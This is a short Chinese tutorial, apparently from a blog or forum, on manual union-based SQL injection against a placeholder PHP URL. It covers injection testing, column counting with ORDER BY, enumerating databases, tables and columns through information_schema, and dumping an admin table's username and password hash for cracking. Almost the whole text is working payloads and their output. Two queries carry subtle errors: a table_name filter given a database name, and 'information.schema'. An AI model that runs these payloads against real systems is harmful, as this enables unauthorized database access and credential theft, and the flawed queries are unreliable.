1.判断是否可以注入
www.xxx.com/123.php?id=125
'页面有部分不显示,不报错
www.xxx.com/123.php?id=125
and 1=1没改变
www.xxx.com/123.php?id=125
and 1=2报错
则有注入
2.可以注入的话
order by判断列数
www.xxx.com/123.php?id=125
order by 5 报错
www.xxx.com/123.php?id=125
order by 4 不报错
说明有4列
3.确定列数之后
union 联合查询,找到回显点(假设2 4)
在页面相应地方会显示2,4
4.union联合查询
www.xxx.com/123.php?id=125
→
www.xxx.com/123.php?id=-125
union select
1,user(),3,4
找到当前数据库用户 root@localhost
5.→
www.xxx.com/123.php?id=-125
union select
1,database(),3,4
显示当前数据库名称 db111
6.→
www.xxx.com/123.php?id=-125
union select
1,group_concat(table_name),3,4 from
information_schema.tables where table_schema = 'db111'
回显db111数据库的所有表名(合并在一起逗号隔开的),找到用户名所在表admin123
7.→
www.xxx.com/123.php?id=-125
union select
1,group_concat(column_name),3,4 from
information_schema.columns where table_name = 'db111'
找到用户名列username
找到密码所在列password
8.→
www.xxx.com/123.php?id=-125
union select
1,username,3,password from db111.admin123
回显出用户名:xiaoming123
密码: 一串md5加密字符,解密即可
@@version_compile_os 获取操作系统
获取所有数据库名称
select group_concat(schema_name) from information.schema.schemata
网友评论